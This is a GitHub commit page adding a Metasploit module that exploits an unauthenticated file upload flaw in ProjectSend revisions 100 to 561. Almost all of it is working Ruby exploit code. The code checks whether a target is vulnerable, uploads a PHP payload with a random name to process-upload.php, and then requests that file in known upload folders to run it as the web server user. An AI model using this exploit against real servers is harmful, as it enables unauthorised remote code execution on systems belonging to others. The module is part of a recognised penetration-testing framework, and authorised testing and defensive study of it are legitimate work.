Skip to content

Commit 2bed52d

Browse files
committed
Land rapid7#4459, @bcoles's ProjectSend Arbitrary File Upload module
2 parents bde92b2 + b5b0be9 commit 2bed52d

File tree

1 file changed

+166
-0
lines changed

1 file changed

+166
-0
lines changed
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'ProjectSend Arbitrary File Upload',
17+
'Description' => %q{
18+
This module exploits a file upload vulnerability in ProjectSend
19+
revisions 100 to 561. The 'process-upload.php' file allows
20+
unauthenticated users to upload PHP files resulting in remote
21+
code execution as the web server user.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Fady Mohammed Osman', # Discovery and Exploit
27+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
28+
],
29+
'References' =>
30+
[
31+
['EDB', '35424']
32+
],
33+
'Payload' =>
34+
{
35+
'BadChars' => "\x00"
36+
},
37+
'Arch' => ARCH_PHP,
38+
'Platform' => 'php',
39+
'Targets' =>
40+
[
41+
# Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
42+
['ProjectSend (PHP Payload)', {}]
43+
],
44+
'Privileged' => false,
45+
'DisclosureDate' => 'Dec 02 2014',
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
51+
], self.class)
52+
end
53+
54+
#
55+
# Checks if target upload functionality is working
56+
#
57+
def check
58+
res = send_request_cgi(
59+
'uri' => normalize_uri(target_uri.path, 'process-upload.php')
60+
)
61+
if !res
62+
vprint_error("#{peer} - Connection timed out")
63+
return Exploit::CheckCode::Unknown
64+
elsif res.code.to_i == 404
65+
vprint_error("#{peer} - No process-upload.php found")
66+
return Exploit::CheckCode::Safe
67+
elsif res.code.to_i == 500
68+
vprint_error("#{peer} - Unable to write file")
69+
return Exploit::CheckCode::Safe
70+
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
71+
vprint_error("#{peer} - File process-upload.php is not executable")
72+
return Exploit::CheckCode::Safe
73+
elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
74+
vprint_error("#{peer} - Software is misconfigured")
75+
return Exploit::CheckCode::Safe
76+
elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
77+
# response on revision 118 onwards includes the file name
78+
if res.body && res.body =~ /NewFileName/
79+
return Exploit::CheckCode::Vulnerable
80+
# response on revisions 100 to 117 does not include the file name
81+
elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
82+
return Exploit::CheckCode::Appears
83+
elsif res.body && res.body =~ /Failed to open output stream/
84+
vprint_error("#{peer} - Upload folder is not writable")
85+
return Exploit::CheckCode::Safe
86+
else
87+
return Exploit::CheckCode::Detected
88+
end
89+
else
90+
return Exploit::CheckCode::Safe
91+
end
92+
end
93+
94+
#
95+
# Upload PHP payload
96+
#
97+
def upload
98+
fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
99+
php = "<?php #{payload.encoded} ?>"
100+
data = Rex::MIME::Message.new
101+
data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
102+
post_data = data.to_s
103+
print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
104+
res = send_request_cgi(
105+
'method' => 'POST',
106+
'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
107+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
108+
'data' => post_data
109+
)
110+
if !res
111+
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
112+
elsif res.code.to_i == 404
113+
fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
114+
elsif res.code.to_i == 500
115+
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
116+
elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
117+
fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
118+
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
119+
fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
120+
elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
121+
fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
122+
# response on revision 118 onwards includes the file name
123+
elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
124+
print_good("#{peer} - Payload uploaded successfully (#{fname})")
125+
return fname
126+
# response on revisions 100 to 117 does not include the file name
127+
elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
128+
print_warning("#{peer} - File upload may have failed")
129+
return fname
130+
else
131+
vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
132+
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
133+
end
134+
end
135+
136+
#
137+
# Execute uploaded file
138+
#
139+
def exec(upload_path)
140+
print_status("#{peer} - Executing #{upload_path}...")
141+
res = send_request_raw(
142+
{ 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
143+
)
144+
if !res
145+
print_status("#{peer} - Request timed out while executing")
146+
elsif res.code.to_i == 404
147+
vprint_error("#{peer} - Not found: #{upload_path}")
148+
elsif res.code.to_i == 200
149+
vprint_good("#{peer} - Executed #{upload_path}")
150+
else
151+
print_error("#{peer} - Unexpected reply")
152+
end
153+
end
154+
155+
#
156+
# upload && execute
157+
#
158+
def exploit
159+
fname = upload
160+
register_files_for_cleanup(fname)
161+
exec("upload/files/#{fname}") # default for r-221 onwards
162+
unless session_created?
163+
exec("upload/temp/#{fname}") # default for r-100 to r-219
164+
end
165+
end
166+
end

0 commit comments

Comments
 (0)